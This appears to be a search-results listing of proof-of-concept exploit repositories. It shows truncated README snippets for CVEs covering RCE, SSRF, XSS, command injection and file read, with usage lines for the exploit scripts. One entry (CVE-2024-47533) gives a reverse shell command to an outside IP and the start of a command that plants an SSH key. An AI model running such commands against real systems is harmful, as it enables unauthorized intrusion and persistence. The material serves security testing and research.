3862 matches found
CVE-2022-22947
Added two types of reverse shell and network egress detection based on Wang Zheng's code. If any module is missing at runtime, just use pip to download that module. Enter the suspicious URL address. Note: Do not include '/' after the port. 1. First check if the vulnerability exists By default, th...
CVE-2021-22941
Use python3 exploit -u url --shell http://127.0.0.1/shell --ping 127.0.0.1 Reference https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html...
CVE-2019-1006
CVE-2019-1006 Usage: Enter "python CVE-2019-1006.py "url"" in the terminal, where url is the URL of the RDG Gateway server to be tested. For example: python CVE-2019-1006.py "https://www.aaa.com/"...
CVE-2023-6895
python3 CVE-2023-6895.py -u http://target.com -c cmd...
CVE-2019-7238
CVE-2019-7238 RCE python3 CVE-2019-7238.py url...
Solr-SSRF
Solr-SSRF Apache Solr SSRF Usage - Apache Solr SSRF vulnerability CVE-2021-27905 - Options: -h or --help : Description -u or --url : Site URL address -d or --dnslog : DnsLog Example python3 CVE-2021-27905.py -u URL -d dnslog...
CVE-2022-22947
CVE-2022-22947 Usage: python3 CVE-2022-22947.py url...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Vulnerability Overview CVE-2025-30208, CVE-2025-31125 and CVE-2025-31486 are arbitrary file reading vulnerabilities in the Vite development server. These vulnerabilities allow an attacker to bypass access controls through specific URL parameters...
CVE-2025-32778
CVE-2025-32778 - Web-Check Command Injection Exploit Description CVE-2025-32778 is a critical command injection vulnerability in Web-Check OSINT tool by Lissy93. It allows unauthenticated attackers to execute arbitrary system commands via the url parameter in the screenshot API. This Python scrip...
CVE-2024-4577
CVE-2024-4577: Critical Vulnerability in PHP's CGI Configurations A severe security flaw exists in PHP's CGI mode that allows attackers to run arbitrary commands by manipulating URL parameters. Impacted Versions PHP versions before 7.4.29 and 8.0.19 on Windows running php-cgi. Attack Methodology...
composer-CVE-2026-40261-CVE-2026-40176-PoC
!CAUTION THIS REPOSITORY CONTAINS PROOF-OF-CONCEPT CODE FOR VULNERABILITIES CVE-2026-40261 AND CVE-2026-40176 IN COMPOSER. !CAUTION THE CODE IS INTENDED FOR EDUCATIONAL AND TESTING PURPOSES ONLY. !CAUTION DO NOT USE THIS CODE IN PRODUCTION ENVIRONMENTS OR AGAINST SYSTEMS WITHOUT PROPER...
CVE-2021-39165
CVE-2021-39165 Python3 POC for CVE-2021-39165 in CachetHQ Usage First of all, you should install the dependencies: pip3 install -r requirements.txt If you want to check whether the victim URL is vulnerable or not, you can execute: python3 exploit.py -u -c If you want to know the output of a MySQL...
cve-2025-4664
CVE-2025-4664 This repository contains a PoC for exploiting CVE-2025-4664, a vulnerability where Chromium-based browsers leak sensitive URL parameters through Link header preload requests. Resources For a detailed explanation of how this exploit works, read the blog post:...
compaXSS
CompaXSS Bypass XSS Reflected Cross-site scripting ======= Example: python compaxss.py --url https://support.snapchat.com/login?next=-run Developers Jose Pino - @jofpin Juan Eljach - @juaneljach...
CVE-2023-51214
Suggested description Cross Site Scripting vulnerability in Implementing an Activity Log in Your Web App Using PHP v.1 allows a remote attacker to execute arbitrary code via a crafted payload to the URL. Vulnerability Type Cross Site Scripting XSS Vendor of Product sourcecodester.com Affected...
CVE-2023-50596
CVE-2023-50596 Suggested description Cross Site Scripting vulnerability in Simple Image Stack Website using PHP and API v.1.00000 allows a remote attacker to execute arbitrary code via a crafted payload to the URL. Additional Information Lets paste our payload in the URL section...
CVE-2025-55182-exploit
CVE-2025-55182-exploit TL;DR This is for legal penetration testing purposes only. Do not engage in any illegal activities. How to use python3 exploit.py Demo Video...
CVE-2024-47533
Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p...
WordPress StageShow <5.0.9 - Open Redirect
WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshowredirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter. id: CVE-2015-5461 info: name:...